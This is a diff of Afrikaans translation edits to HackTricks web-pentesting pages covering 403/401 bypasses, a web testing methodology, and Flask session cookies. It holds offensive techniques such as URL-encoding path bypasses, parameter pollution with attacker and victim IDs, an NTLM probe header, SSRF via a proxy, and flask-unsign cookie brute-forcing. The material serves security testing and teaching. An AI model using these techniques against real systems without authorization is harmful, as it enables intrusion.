@@ -45,7 +45,7 @@ As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hi
As _/path_ geblokkeer is:
- Probeer om _**/**_**%2e/path \_(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook**\_\*\* /%252e\*\*/path (dubbele URL-kodering)
-- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geënkodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil
+- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geëncodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil.
- **Ander pad omseilings**:
- site.com/secret –> HTTP 403 Verbode
- site.com/SECRET –> HTTP 200 OK
@@ -68,15 +68,15 @@ As _/path_ geblokkeer is:
- {“id”:\[111]} --> 200 OK
- {“id”:111} --> 401 Ongeautoriseerd
- {“id”:{“id”:111\}} --> 200 OK
-- {"user_id":"\","user_id":"\"} (JSON Parameter Pollution)
-- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
+- {"user_id":"\","user_id":"\"} (JSON Parameter Besoedeling)
+- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Besoedeling)
## **Parameter Manipulation**
- Verander **param waarde**: Van **`id=123` --> `id=124`**
- Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
- Verwyder die parameters
-- Herorganiseer parameters
+- Herordeneer parameters
- Gebruik spesiale karakters.
- Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
@@ -86,7 +86,7 @@ As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of toets selfs of dit **2.
## **Ander Omseilings**
-- Kry die **IP** of **CNAME** van die domein en probeer om **direk met dit in kontak te tree**.
+- Kry die **IP** of **CNAME** van die domein en probeer om **direk kontak te maak**.
- Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Verander die protokol**: van http na https, of van https na http
- Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was.
@@ -111,7 +111,7 @@ guest guest
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
-- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
+- [Verbode Buster](https://github.com/Sn1r/Forbidden-Buster)
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 9901f47ca..0b51d8dff 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -25,19 +25,19 @@ web-api-pentesting.md
## Metodologie opsomming
-> In hierdie metodologie gaan ons veronderstel dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met onbepaalde webbediener binne die omvang.
+> In hierdie metodologie gaan ons veronderstel dat jy 'n domein (of subdomein) gaan aanval en net dit. So, jy moet hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n onbepaalde webbediener binne die omvang.
- [ ] Begin met **identifisering** van die **tegnologieë** wat deur die webbediener gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer.
- [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
-- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige trick** om meer inligting te onttrek?
+- [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
- [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
-- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
-- [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
+- [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind.
+- [ ] Begin met die **aanvangs kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
- [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
- [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**.
- [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._
-- [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
+- [ ] **Backups nagaan**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
- [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
- [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
- [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
@@ -54,7 +54,7 @@ whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-Soek **na** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md)
+Search **vir** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-hacking/search-exploits.md)
### **Kontroleer of enige WAF**
@@ -64,14 +64,14 @@ Soek **na** [**kwesbaarhede van die webtoepassing** **weergawe**](../../generic-
### Web tegnologie truuks
-Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë** te vind:
+Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **tegnologieë** wat gebruik word:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
- [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
- [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Git**](git.md)
- [**Golang**](golang.md)
@@ -86,31 +86,31 @@ Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë**
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
-- [**PHP (php het 'n klomp interessante truuks wat uitgebuit kan word)**](php-tricks-esp/)
+- [**PHP (php het 'n klomp interessante truuks wat benut kan word)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
- [**VMWare**](vmware-esx-vcenter....md)
- [**Web API Pentesting**](web-api-pentesting.md)
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/index.html)
_Neem in ag dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappies** en **subdomeine** kan gebruik._\
-As die webtoepassing enige bekende **tegnologie/platform soos hierbo gelys** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!).
+As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!).
-### Bronnkode Hersiening
+### Bronkode Hersiening
-As die **bronnkode** van die toepassing beskikbaar is in **github**, benewens om **jou eie 'n Wit boks toets** van die toepassing uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **Swart-Boks toetsing**:
+As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om 'n **wit boks toets** van die toepassing uit te voer, is daar **sekere inligting** wat **nuttig** kan wees vir die huidige **swart boks toetsing**:
-- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergaweninligting toeganklik** via die web?
+- Is daar 'n **Veranderingslog of Readme of Weergawe** lêer of enigiets met **weergave-inligting toeganklik** via die web?
- Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
-- Is **wagwoorde** in **duidelike teks**, **geënkripteer** of watter **hash-algoritme** word gebruik?
+- Is **wagwoorde** in **platte teks**, **geënkripteer** of watter **hash-algoritme** word gebruik?
- Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
- Kan jy **toegang tot enige van hierdie lêers** verkry deur 'n kwesbaarheid te benut?
-- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **verbeteringsgeskiedenis** (miskien 'n **wagwoord wat in 'n ou verbetering ingevoer is**)?
+- Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
{{#ref}}
code-review-tools.md
@@ -132,13 +132,13 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS scanners
-As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te loop'** nie, dalk word iets sappigs gevind:
+As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te loop'**, dalk word iets sappigs gevind:
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **of** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d
wpscan --force update -e --url
@@ -164,19 +164,19 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Dwing foute**
-Webbedieners mag **onverwagte** gedrag vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
+Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
- Toegang tot **valse bladsye** soos /whatever_fake.php (.aspx,.html,.ens)
- **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
- Genereer 'n fout deur insette te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
- Probeer **verskillende HTTP Werkwoorde** soos PATCH, DEBUG of verkeerd soos FAKE
-#### **Kontroleer of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
+#### **Kyk of jy lêers kan oplaai (**[**PUT werkwoord, WebDav**](put-method-webdav.md)**)**
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
- **Brute Force** akrediteer
-- **Lêers oplaai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
+- **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
### **SSL/TLS kwesbaarhede**
@@ -212,18 +212,18 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te ontleed. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van slim regulêre uitdrukkings om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless blaasker en druk al die URL's wat gelaai is om die bladsy te laai.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die URL's wat gelaai is om die bladsy te laai.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp uitbreiding om paaie en params in JS-lêers te vind.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegewe die .js.map URL die mooi JS-kode sal kry.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n Hulpmiddel wat gegee die .js.map URL jou die beautified JS-kode sal gee.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Kruiper/Spider ontwerp vir kuberveveiliging professionele.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
@@ -231,7 +231,7 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
### Brute Force directories and files
-Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **ggevonde directories** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en aan die begin van die gebruikte woordlys die name van die gevonde directories byvoeg).\
+Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met behulp van **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en aan die begin van die gebruikte woordlys die name van die gevonde directories byvoeg).\
Hulpmiddels:
- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
@@ -240,9 +240,9 @@ Hulpmiddels:
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
+- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliceerde" URL's verwyder.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliceerde funksies (gebaseer op js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
**Aanbevole woordlyste:**
@@ -266,7 +266,7 @@ Hulpmiddels:
_Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit moet brute-forced word._
-### Wat om te kontroleer op elke gevonde lêer
+### Wat om te kontroleer op elke lêer wat gevind is
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorname te ondergaan.
- **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek na rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
@@ -276,10 +276,10 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
-- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaasker oopmaak). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
-- **API sleutels**: As jy **enige API sleutel** vind, is daar 'n gids wat aandui hoe om API sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
-- Google API sleutels: As jy enige API sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
-- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3 bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/).
+- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiert oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
+- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
+- Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
+- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
### Spesiale bevindings
@@ -289,7 +289,7 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
- Soek na **skakels** na ander lêers binne die **CSS** lêers.
- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
-- As jy 'n _**.env**_ vind, kan inligting soos API sleutels, databasis wagwoorde en ander inligting gevind word.
+- As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
- As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
- **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
- Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
@@ -297,7 +297,7 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- Op verskeie geleenthede sal jy die **regulêre uitdrukkings** wat gebruik word, moet **begryp**. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex).
+- Op verskeie geleenthede sal jy moet **die regulêre uitdrukkings** wat gebruik word verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex).
- Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)**
@@ -308,21 +308,21 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
**502 Proxy Fout**
-As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
+As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
-**NTLM Verifikasie - Inligting openbaar**
+**NTLM Verifikasie - Inligtingsontsluiting**
-As die bediener wat verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domein** **naam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
+As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeldingsvorm vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligtingsontsluiting** veroorsaak.\
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
-Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
+Jy kan **dit outomatiseer** met behulp van die **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Oorplasing (CTF)**
-Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word nie (aangesien die blaasker die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
+Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word** (aangesien die blaaiert die oorplasing sal uitvoer) nie, maar iets kan **versteek** wees daarin.
### Web Kwesbaarhede Kontroleer
-Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n klomp moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind:
+Nou dat 'n omvattende enumerasie van die webtoepassing uitgevoer is, is dit tyd om vir 'n baie moontlike kwesbaarhede te kontroleer. Jy kan die kontrolelys hier vind:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md
index 9f8b3901c..90736171a 100644
--- a/src/network-services-pentesting/pentesting-web/flask.md
+++ b/src/network-services-pentesting/pentesting-web/flask.md
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
-**Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Koekies
-Die standaard koekie-sessie naam is **`session`**.
+Die standaard koekie sessienaam is **`session`**.
### Dekodeerder
@@ -42,7 +42,7 @@ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '
+#### Universele vrae
